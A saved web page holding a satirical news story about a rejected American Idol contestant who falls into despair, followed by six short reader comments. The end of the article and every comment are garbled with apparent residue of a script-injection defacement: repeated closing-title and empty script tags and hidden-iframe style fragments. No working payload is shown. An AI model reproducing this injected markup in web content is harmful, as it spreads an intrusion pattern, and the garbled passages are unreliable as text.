Fun Infused Games  |   Evil Scale  |  |  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
The Tragic Lives Of Jilted American Idol Wanna Bees
by Mark on 3/25/2006 (6)

"How do you want it? Paula, Randy or Simon style? *SOB*!"
GODFORSAKEN PENINSULA, ME - 18 year old Maine Arts student Katy Sorrenson laments "a complete degradation of Christian morals and abject embracement of meaningless materialism" after being rejected by Am Idol judges in a bitter, soul wrenching audition in Chicago earlier this year.

Clutching a bottle of Rock and Rye in one hand, and a tear saturated handkerchief in the other, the haggard, older-before-her-time Sorrenson dejectedly describes.

"T-Those dirty bastards! I practiced all summer long. I spent hours singing in the shower and even went to the extent of downloading karaoke tracks of Glen Campbells "Leaving on a jet plane" just to get ready for Simon, Paula and Randy, and they chewed me up and spit me out before I had a chance to get to the "don't know when I'll be back again" part. That dirty bastard Simon called me a yodeling Golden Retriever minus the yodeling part! I-I'm so devestated!*SOB*!"

Sorrenson was not alone.

Thousands of self-described American Idols have had the life force and earthly confidence literally sucked out of them by rejection from the hit talent hunt series, and the number grows by thousands more each year. Without realizing it, or perhaps maliciously so, Randy, Paula and Simon have mortally stripped the lives ambition and crushed the tender confidence of hapless sincere auditioners, often plunging them into a self-destructive cycle of drug abuse, severe crippling depression and even selling their very flesh on online escort services.

"M-My life is ruined. I dropped out of school, I started drinking, and I even stripped every mirror out of my house because I couldn't stand to look at myself! All that matters to me now is a cheap buzz, a cheap date, and the solace of shopping till I drop in a futile attempt to restore my ruined sense of self-esteem. M-My life is over!*SOB!*

Psychologists nationwide have identified Sorrensons trauma as the newly diagnosed "Simon Syndrome", and say the heinous condition is not at all surprising, illustrating that they see the same result when people are rejected by modeling agencies, exclusive colleges, or even jilted by a disinterested suitor. These minor lifes traumas tend to dissipate with time, and usually heal slowly, but reminded that "The difference between someone gently brushing you off and telling you that you suck to your face is about as different as a college sending you a polite rejection letter, or calling you on the phone and telling you that you're too goddamm stupid to get in."h="0"0" hei

page has been viewed 10872 times


1. by Katy on 3/1/2007 4:52:29 PM
Bastard. :Pisplay:none" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Bad satire on 3/1/2007 4:52:29 PM
The fact that the first and only comment was an attempt to continue this heavy-handed satire is a sure sign the author's trying waaay too hard.ig </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Katy on 3/1/2007 4:52:29 PM
Excuse me, I exist thatnk you very much. Check other stories where I've commented, or the forum, dumbass.< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Motz, author on 3/1/2007 4:52:29 PM
Isn't that special? Must be a sexually confused Farker. They come out at night, you </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by Katy on 3/1/2007 4:52:29 PM
It's not really that I want to be affiliated with the article, I just don't want to be confused with you. :Pisplay:none"></ifram </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Mott the Hoople on 3/1/2007 4:52:29 PM
Thanks!isplay:none"></i </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

What animal is this a picture of?

x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].




More referrals |  Add Site

Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  


Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy